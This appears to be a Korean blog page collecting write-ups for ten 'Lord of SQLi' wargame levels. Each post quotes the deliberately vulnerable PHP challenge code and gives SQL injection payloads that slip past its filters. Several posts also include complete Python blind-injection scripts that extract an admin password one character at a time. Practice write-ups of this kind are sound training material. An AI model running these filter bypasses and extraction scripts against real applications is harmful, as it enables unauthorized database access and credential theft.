늘모자란, 개발

늘모자란, 개발

Result for wargame/-los.eagle-jump.org:

  • 2017/06/20 [LOS] giant
  • 2017/06/20 [LOS] bugbear
  • 2017/06/20 [LOS] darkknight
  • 2017/06/20 [LOS] golem
  • 2017/06/20 [LOS] skeleton
  • 2017/06/20 [LOS] vampire
  • 2017/06/20 [LOS] troll
  • 2017/06/20 [LOS] orge
  • 2017/06/20 [LOS] darkelf
  • 2017/06/20 [LOS] wolfman

  • <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
      if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
      $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result[1234]) solve("giant"); 
      highlight_file(__FILE__); 
    ?>
    


    아주 간단한 문젠데 숨이 턱 막힌다. 띄어쓰기만 하면 되는데 띄어쓰기를 못한다.
    무작정 urlencode hardware에 들어가서 하나씩 입력해보았는데 (와중에 %5CR 뭐 이런 이상한거도 찾았는데 도움은 안된다. 한글자로 출력되지 않기 때문에)

    몇개 입력안했는데 그냥 bypass되었다. 깨진 문자열은 그냥 pass되는건가..? 나는 %0B를 입력했다

    select 1234 fromprob_giant where 1
    
    2017/06/20 16:12 2017/06/20 16:12
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
      if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
      if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
      $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
      highlight_file(__FILE__); 
    ?>
    


    대충만 봐도 강적이다. 전사 공격문제로 생각되는데 내가 주로 쓰는 거의 대부분이 차단되어 있다
    이번에도 no에는 quotes가 없으니까 no로 쿼리를 만들어봐야한다. 띄어쓰기도 안되고 '도 안될땐 ` 를 쓴다. back quote 라고 하는데
    이런식으로 구성하면 된다.

    select id from prob_bugbear where id='guest' and pw='' and no=1||`id`in("admin")
    


    이러면 띄어쓰기도 없이 쿼리를 true로 만들 수 있다. like대신엔 in을 쓰고 ' 대신엔 " 를 쓰자

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/bugbear_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
      
    loop = 0
    pw = ''
      
    for j in range(1,30):
        data = "1||`id`in(\"admin\")&&length(`pw`)in(\"{}\")".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?no='+data,headers=headers)
        
        if r.text.find('Hello admin') != -1 :
            loop = j
            break
    
    print loop
    
    for i in range(1,loop+1):
        for j in string:
            data = "1||`id`in(\"admin\")&&right(left(`pw`,{}),1)in(\"{}\")".format(i,j)
            data = requests.utils.quote(data)
            r = requests.get(url+'?no='+data,headers=headers)
      
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
       
    print pw
    


    띄어쓰기를 못하는 문제는 가끔 답답하다
    2017/06/20 16:04 2017/06/20 16:04
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
      if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
      if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
      $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
      highlight_file(__FILE__); 
    ?>
    


    pw에는 '가 차단되어있고
    no에는 substr, ascii, = 가 차단되어있다
    잘 보면 no에는 따옴표가 없다. 저기에 쿼리를 꾸겨넣을 수 있을 것 같다.

    이런식으로 쿼리를 꾸민다.

    select id from prob_darkknight where id='guest' and pw='' and no=1 or 1 like 1 and id like 0x61646d696e
    


    잘 나온다. 하지만 여기선 패스워드를 따로 질의하고 있기때문에 쓸모가 없다. 여기선 admin이라는 단어는 전사 공격할때 옳은 값이 나왔다는 상징으로 사용하는 true로 사용할 것이다. 문제의 의도는 ' 외에 " 를 사용하는거(였을거같은데..) 나는 그냥 hex로 우회했다

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
       
    import requests
      
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/darkknight_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
      
    loop = 0
    pw = ''
      
    for j in range(1,30):
        data = "1 || length(pw) like {} && id like 0x61646d696e -- a".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?no='+data,headers=headers)
        
        if r.text.find('Hello admin') != -1 :
            loop = j
            break
     
    for i in range(1,loop+1):
        for j in string:
            data = "1 || id like 0x61646d696e && right(left(pw,{}),1) like 0x{} -- a".format(i,j.encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?no='+data,headers=headers)
      
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
       
    print pw
    


    2017/06/20 03:11 2017/06/20 03:11
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
      highlight_file(__FILE__); 
    ?>
    


    or도 안되고 and도 안되고 한글자씩 짤라먹는 substr도 안되고 = 도 안된다.. 그 와중에 blind sqli 를 걸어야한다

    그럼 이렇게 우회하자
    or -> ||
    and -> &&
    substr( -> substring(
    = -> like

    썼던 코드를 계속 재활용해보자 (흡족)

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/golem_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
     
    loop = 0
    pw = ''
     
    for j in range(1,30):
        data = "' || ( id like 'admin' && length(pw) like {} ) -- a".format(j)
        data = requests.utils.quote(data)
    
        r = requests.get(url+'?pw='+data,headers=headers)
        if r.text.find('Hello admin') != -1 :
            loop = j
             break
    
    print loop
    
    for i in range(1,loop+1):
        for j in string:
            data = "' || ( id like 'admin' && substring(pw,{},1) like 0x{} ) -- a".format(i,j.encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data,headers=headers)
     
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
      
    print pw
    
    2017/06/20 03:01 2017/06/20 03:01
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id'] == 'admin') solve("skeleton"); 
      highlight_file(__FILE__); 
    ?>
    


    문제 난이도가 좀 요동치는거 같은데 이 쿼리는 and 1=0 때문에 무조건 false가 나온다
    그렇기 때문에 반드시 뒤 쿼리를 주석해줘야된다

    select id from prob_skeleton where id='guest' and pw='' or id='admin' -- a' and 1=0
    
    2017/06/20 02:48 2017/06/20 02:48
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); 
      $_GET[id] = str_replace("admin","",$_GET[id]); 
      $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id'] == 'admin') solve("vampire"); 
      highlight_file(__FILE__); 
    ?>
    


    이번에는 admin을 아예 바꿔버린다
    그럼 지워지는만큼 admin이 완성되게 넣어주면된다

    aadmindadminmadminiadminnadmin
    
    2017/06/20 02:42 2017/06/20 02:42
    <?php  
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
      if(@ereg("admin",$_GET[id])) exit("HeHe");
      $query = "select id from prob_troll where id='{$_GET[id]}'";
      echo "<hr>query : <strong>{$query}</strong><hr><br>";
      $result = @mysql_fetch_array(mysql_query($query));
      if($result['id'] == 'admin') solve("troll");
      highlight_file(__FILE__);
    ?>
    


    이번에는 ' 이 친구를 쓸수 없고 admin 문자열을 쓸 수 없다.
    admin은 hex로 encode해서 쓰면 될거 같은데 ' 는 좀 감이 안온다. 저걸 부셔야 쿼리를 넣을텐데!

    하고 여러가지 해보다가 안되서 찾아보니...
    좀 어이가 없지만 deprecated 된 ereg는 대문자 검사를 못한단다.
    적당히 대문자로 .... 바꿔넣어주자
    2017/06/20 02:39 2017/06/20 02:39
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
       
      $_GET[pw] = addslashes($_GET[pw]); 
      $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
      highlight_file(__FILE__); 
    ?>
    


    역시 or과 and를 쓸 수 없다

    select id from prob_orge where id='guest' and pw='' || id='admin' -- a'
    


    일단 이 쿼리가 동작하는건 확인했다
    그리고 admin을 출력하는거 보니까 blind sqli 임이 짐작된다.
    orc의 소스를 재활용해려고 했는데 and가 && 로 대체가 안된다. 좀 이상하게 나오는데 가만 생각해보니 &는 url 파라미터 구분자기때문에 좀 바꿔줘야된다. 보내기전에 quote를 해서 보내면 되니 명심...

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
     
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
    url = "http://los.eagle-jump.org/orge_.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
     
    loop = 0
    pw = ''
     
    for j in range(1,30):
        data = "' || ( id='admin' && length(pw)={} ) -- a".format(j)
        data = requests.utils.quote(data)
        r = requests.get(url+'?pw='+data,headers=headers)
        if r.text.find('Hello admin') != -1 :
            loop = j
             break
    
    for i in range(1,loop+1):
        for j in string:
            data = "' || ( id='admin' && substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
            data = requests.utils.quote(data)
            r = requests.get(url+'?pw='+data,headers=headers)
     
            if r.text.find('Hello admin') != -1 :
                pw = pw + j
                print "[!] found",pw
                break
      
    print pw
    
    2017/06/20 02:35 2017/06/20 02:35
    
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect();  
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
      $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("darkelf"); 
      highlight_file(__FILE__); 
    ?>
    


    점점 필터링에 제약이 오기 시작한다
    이번에는 or과 and를 쓸수 없다. 그럼 ||를 쓰면 된다

    select id from prob_darkelf where id='guest' and pw='1' || id='admin' -- a'
    
    2017/06/20 02:13 2017/06/20 02:13
    <?php 
      include "./config.php"; 
      login_chk(); 
      dbconnect(); 
      if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
      if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
      $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
      echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
      $result = @mysql_fetch_array(mysql_query($query)); 
      if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
      if($result['id'] == 'admin') solve("wolfman"); 
      highlight_file(__FILE__); 
    ?>
    


    코드 상에는 whitespace를 쓸 수 없다는 제약이 있다
    띄워쓰기 없이... 이런 문제가 있다. 개행으로 점프가 되는.. 쓸데 없는 똑똑이

    select id from prob_wolfman where id='guest' and pw='' or id='admin'#'
    


    이런꼴을 만들어주면된다. %0a를 잘 써먹어보자
    2017/06/20 01:54 2017/06/20 01:54